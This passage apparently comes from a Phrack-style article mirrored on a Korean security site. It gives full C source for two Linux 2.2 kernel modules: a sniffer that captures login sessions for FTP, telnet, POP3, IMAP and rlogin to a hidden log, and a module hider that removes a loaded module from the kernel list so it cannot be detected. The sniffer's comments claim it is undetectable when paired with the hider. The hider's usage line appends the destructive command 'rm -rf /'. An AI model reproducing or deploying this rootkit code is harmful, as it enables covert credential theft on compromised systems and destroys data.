p = trial;
i = correct;
while (*i) {
if (!p) return 0;
if (*p != *i) return 0;
p++;
i++;
}
return 1;
}
char *m_memcpy(char *dest, char *src, int size) {
char *i, *p;
p = dest;
i = src;
while (size) {
*p = *i;
i++;
p++;
size--;
}
return dest;
}
int m_strlen(char *ptr) {
int i = 0;
while (*ptr) {
ptr++;
i++;
}
return i;
}
/* EOF */
<-->
<++> P55/Linux-lkm/krnsniff/krnsniff.c !4adeadb3
/*
* krnsniff.c v0.1a - A kernel based sniffer module
*
* by kossak
* kossak@hackers-pt.org || http://www.hackers-pt.org/kossak
*
* This file is licensed by the GNU General Public License.
*
* Tested on a 2.2.5 kernel. Should compile on others with minimum fuss.
* However, I'm not responsible for setting fire on your computer, loss of
* mental health, bla bla bla...
*
* CREDITS: - Mike Edulla's ever popular linsniffer for some logging ideas.
* - Plaguez and Halflife for an excelent phrack article on
* kernel modules.
* - the kernel developers for a great job (no irony intended).
*
* USAGE: gcc -O2 -DDEBUG -c krnsniff.c -I/usr/src/linux/include ;
* insmod krnsniff.o [dev=<device>]
*
* TODO : - implement a timeout feature (IMPORTANT)
* - better support for certain stupid ppp devices that don't set
* dev->hard_header_len correctly.
* - Parallel logging (like linsniff.c, this thing is still just
* logging one connection at a time).
* - fix strange kmem grows kernel bitchings (FIXED) ...i think
* - store the logs in kernel memory and send them and clear them
* when a magic packet is sent.
* - some weird shit happens in my LAN on incoming connections
* that fucks up the logs a bit, but this was not confirmed
* on other tests. It has to do with packets not increasing seq
* numbers, I think.
* - This wasn't tested on a promisc system, but it should work
* without almost no modifications.
*
* NOTE: the purpose of this module is to expose the dangers of a rooted
* system. It is virtually impossible to detect, if used with a module
* hidder.
* This could also be developed further to become a simple and easy way
* to detect unauthorized network intrusions.
*
* Oh, and script kiddies, don't read the FUCKING source, I hope you
* have shit loads of kernel faults and you lose all your 31337 0wn3d
* s1t3z... grrr.
*
* look at least at the LOGFILE define below before compiling.
*/
#define MODULE
#define __KERNEL__
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/byteorder/generic.h>
#include <linux/netdevice.h>
#include <net/protocol.h>
#include <net/pkt_sched.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/skbuff.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/file.h>
#include <asm/uaccess.h>
/* from a piece of pmsac's code... this is pratic :) */
#define DBGPRN1(X) if (debug) printk(KERN_DEBUG X)
#define DBGPRN2(X,Y) if (debug) printk(KERN_DEBUG X, Y);
#define DBGPRN3(X,Y,Z) if (debug) printk(KERN_DEBUG X, Y, Z);
#define DBGPRN4(X,Y,Z,W) if (debug) printk(KERN_DEBUG X, Y, Z, W);
#define DBGPRN5(X,Y,Z,W,V) if (debug) printk(KERN_DEBUG X, Y, Z, W, V);
#define TRUE -1
#define FALSE 0
#define CAPTLEN 512 /* no. of bytes to log */
/* do a 'touch LOGFILE' _before_ you load the module. */
#define LOGFILE "/tmp/sniff.log"
/* global data */
int debug, errno,
out_c, in_c, thru_c; /* packet counters */
struct t_data {
char content[1500];
unsigned long seq;
struct t_data *next;
};
struct {
unsigned short active;
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
unsigned long totlen;
struct t_data *data;
} victim;
char *dev;
MODULE_PARM(dev, "s"); /* gets the parameter dev=<devname> */
struct device *d;
struct packet_type sniff_proto;
/* inicial function declarations */
char *in_ntoa(__u32 in);
int filter(struct sk_buff *);
void m_strncpy(char *, char *, int);
int m_strlen(char *);
void start_victim(struct sk_buff *);
void write_victim(struct sk_buff *);
void end_victim(void);
/* our packet handler */
int pkt_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) {
/* fix some pointers */
skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4;
skb->data = (unsigned char *)skb->h.raw + (skb->h.th->doff << 2);
skb->len -= skb->nh.iph->ihl*4 + (skb->h.th->doff << 2);
switch (skb->pkt_type) {
case PACKET_OUTGOING:
out_c++;
/* dont count with the hardware header
* since my stupid ippp device does not set this...
* add more devices here.
*/
if(strstr(dv->name, "ppp"))
skb->len -= 10;
else
skb->len -= dv->hard_header_len;
break;
case PACKET_HOST:
in_c++;
skb->len -= dv->hard_header_len;
break;
case PACKET_OTHERHOST:
thru_c++;
skb->len -= dv->hard_header_len;
break;
default:
kfree_skb(skb);
return 0;
}
if(filter(skb)) {
kfree_skb(skb);
return 0;
}
/* rare case of NULL's in buffer contents */
if (m_strlen(skb->data) < skb->len)
skb->len = m_strlen(skb->data);
if (skb->len > CAPTLEN - victim.totlen)
skb->len = CAPTLEN - victim.totlen;
if (skb->len)
write_victim(skb);
kfree_skb(skb);
return 0;
}
int filter (struct sk_buff *skb) {
/* this is the filter function. it checks if the packet is worth logging */
struct t_data *ptr, *i;
int port = FALSE;
if (skb->nh.iph->protocol != IPPROTO_TCP)
return TRUE;
/* change to your favourite services here */
if (ntohs(skb->h.th->dest) == 21 ||
ntohs(skb->h.th->dest) == 23 ||
ntohs(skb->h.th->dest) == 110 ||
ntohs(skb->h.th->dest) == 143 ||
ntohs(skb->h.th->dest) == 513)
port = TRUE;
if (victim.active) {
if((skb->h.th->dest != victim.dport) ||
(skb->h.th->source != victim.sport) ||
(skb->nh.iph->saddr != victim.saddr) ||
(skb->nh.iph->daddr != victim.daddr))
return TRUE;
if (victim.totlen >= CAPTLEN) {
ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC);
if(!ptr) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
m_strncpy(ptr->content,
"\n\n*** END : CAPLEN reached ---\n", 50);
ptr->next = NULL;
i = victim.data;
while(i->next)
i = i->next;
i->next = ptr;
end_victim();
return TRUE;
}
if(skb->h.th->rst) {
ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC);
if(!ptr) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
m_strncpy(ptr->content,
"\n\n*** END : RST caught ---\n", 50);
ptr->next = NULL;
i = victim.data;
while(i->next)
i = i->next;
i->next = ptr;
end_victim();
return TRUE;
}
if(skb->h.th->fin) {
ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC);
if(!ptr) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
m_strncpy(ptr->content,
"\n\n*** END : FIN caught ---\n", 50);
ptr->next = NULL;
i = victim.data;
while(i->next)
i = i->next;
i->next = ptr;
end_victim();
return TRUE;
}
}
else {
if (port && skb->h.th->syn)
start_victim (skb);
else
return TRUE;
}
return FALSE;
}
void start_victim(struct sk_buff *skb) {
victim.active = TRUE;
victim.saddr = skb->nh.iph->saddr;
victim.daddr = skb->nh.iph->daddr;
victim.sport = skb->h.th->source;
victim.dport = skb->h.th->dest;
victim.data = kmalloc(sizeof(struct t_data), GFP_ATOMIC);
/* we're a module, we can't afford to crash */
if(!victim.data) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
victim.data->seq = ntohl(skb->h.th->seq);
victim.data->next = NULL;
sprintf(victim.data->content, "\n\n*** [%s:%u] ---> [%s:%u]\n\n",
in_ntoa(victim.saddr),
ntohs(victim.sport),
in_ntoa(victim.daddr),
ntohs(victim.dport));
victim.totlen = m_strlen(victim.data->content);
}
void write_victim(struct sk_buff *skb) {
struct t_data *ptr, *i;
ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC);
if(!ptr) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
ptr->next = NULL;
ptr->seq = ntohl(skb->h.th->seq);
m_strncpy(ptr->content, skb->data, skb->len);
/*
* putting it in the ordered list.
*/
i = victim.data;
if(ptr->seq < i->seq) {
/*
* we caught a packet "younger" than the starting SYN.
* Likely? no. Possible? yep. forget the bastard.
*/
kfree(ptr);
return;
}
/* actual ordering of tcp packets */
while (ptr->seq >= i->seq) {
if (ptr->seq == i->seq)
return; /* seq not incremented (no data) */
if (!i->next)
break;
if (i->next->seq > ptr->seq)
break;
i = i->next;
}
ptr->next = i->next;
i->next = ptr;
victim.totlen += m_strlen(ptr->content);
return;
}
void end_victim(void) {
/*
* Im now saving the data to a file. This is mainly BSD's process accounting
* code, as seen in the kernel sources.
*/
struct t_data *ptr;
struct file *file = NULL;
struct inode *inode;
mm_segment_t fs;
file = filp_open(LOGFILE, O_WRONLY|O_APPEND, 0);
if (IS_ERR(file)) {
errno = PTR_ERR(file);
DBGPRN2("error %i\n", errno);
goto vic_end;
}
if (!S_ISREG(file->f_dentry->d_inode->i_mode)) {
fput(file);
goto vic_end;
}
if (!file->f_op->write) {
fput(file);
goto vic_end;
}
fs = get_fs();
set_fs(KERNEL_DS);
inode = file->f_dentry->d_inode;
down(&inode->i_sem);
while (victim.data) {
file->f_op->write(file, (char *)&victim.data->content,
m_strlen(victim.data->content), &file->f_pos);
ptr = victim.data;
victim.data = victim.data->next;
kfree(ptr);
}
up(&inode->i_sem);
set_fs(fs);
fput(file);
DBGPRN1("Entry saved\n");
vic_end:
victim.saddr = 0;
victim.daddr = 0;
victim.sport = 0;
victim.dport = 0;
victim.active = FALSE;
victim.totlen = 0;
victim.data = NULL;
}
/* trivial but useful functions below. Damn, I miss libc :) */
char *in_ntoa(__u32 in) {
static char buff[18];
char *p;
p = (char *) ∈
sprintf(buff, "%d.%d.%d.%d",
(p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255));
return(buff);
}
void m_strncpy(char *dest, char *src, int size) {
char *i, *p;
p = dest;
for(i = src; *i != 0; i++) {
if (!size) break;
size--;
*p = *i;
p++;
}
*p = '\0';
}
int m_strlen(char *ptr) {
int i = 0;
while (*ptr) {
ptr++;
i++;
}
return i;
}
/* init_module */
int init_module(void) {
#ifdef DEBUG
debug = TRUE;
#else
debug = FALSE;
#endif
in_c = out_c = thru_c = 0;
victim.saddr = 0;
victim.daddr = 0;
victim.sport = 0;
victim.dport = 0;
victim.active = FALSE;
victim.data = NULL;
if (dev) {
d = dev_get(dev);
if (!d) {
DBGPRN2("Did not find device %s!\n", dev);
DBGPRN1("Sniffing all known devices...");
}
else {
DBGPRN3("Sniffing device %s, ifindex: %i\n",
dev, d->ifindex);
sniff_proto.dev = d;
}
}
else
DBGPRN1("Sniffing all known devices...\n");
sniff_proto.type = htons(ETH_P_ALL);
/* this one just gets us incoming packets */
/* sniff_proto.type = htons(ETH_P_IP); */
sniff_proto.func = pkt_func;
dev_add_pack(&sniff_proto);
return(0);
}
void cleanup_module(void) {
dev_remove_pack(&sniff_proto);
end_victim();
DBGPRN4("Statistics: [In: %i] [Out: %i] [Thru: %i]\n",
in_c, out_c, thru_c);
DBGPRN1("Sniffer Unloaded\n");
}
/* EOF */
<-->
<++> P55/Linux-lkm/modhide/modhide.c !c9a65c89
/*
* generic module hidder, for 2.2.x kernels.
*
* by kossak (kossak@hackers-pt.org || http://www.hackers-pt.org/kossak)
*
* This module hides the last module installed. With little mind work you can
* put it to selectivly hide any module from the list.
*
* insmod'ing this module will allways return an error, something like device
* or resource busy, or whatever, meaning the module will not stay installed.
* Run lsmod and see if it done any good. If not, see below, and try until you
* suceed. If you dont, then the machine has a weird compiler that I never seen.
* It will suceed on 99% of all intel boxes running 2.2.x kernels.
*
* The module is expected not to crash when it gets the wrong register, but
* then again, it could set fire to your machine, who knows...
*
* Idea shamelessly stolen from plaguez's itf, as seen on Phrack 52.
* The thing about this on 2.2.x is that kernel module symbol information is
* also referenced by this pointer, so this hides all of the stuff :)
*
* DISCLAIMER: If you use this for the wrong purposes, your skin will fall off,
* you'll only have sex with ugly women, and you'll be raped in
* jail by homicidal maniacs.
*
* Anyway, enjoy :)
*
* USAGE: gcc -c modhide.c ; insmod modhide.o ; lsmod ; rm -rf /
*/
#define MODULE
#define __KERNEL__
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
int init_module(void) {
/*
* if at first you dont suceed, try:
* %eax, %ebx, %ecx, %edx, %edi, %esi, %ebp, %esp
* I cant make this automaticly, because I'll fuck up the registers If I do
* any calculus here.
*/
register struct module *mp asm("%ebx");
if (mp->init == &init_module) /* is it the right register? */
if (mp->next) /* and is there any module besides this one? */
mp->next = mp->next->next; /* cool, lets hide it :) */
return -1; /* the end. simple heh? */
}
/* EOF */
<-->
----[ EOF
--lrZ03NoBR/3+SXJZ--
[정보보안,정보보안전문가,해킹,해커]Building Into The Linux Network Layer | 정보보안
[정보보안,정보보안전문가,해킹,해커]Building Into The Linux Network Layer | 정보보안
[정보보안,정보보안전문가,해킹,해커]Building Into The Linux Network Layer | 정보보안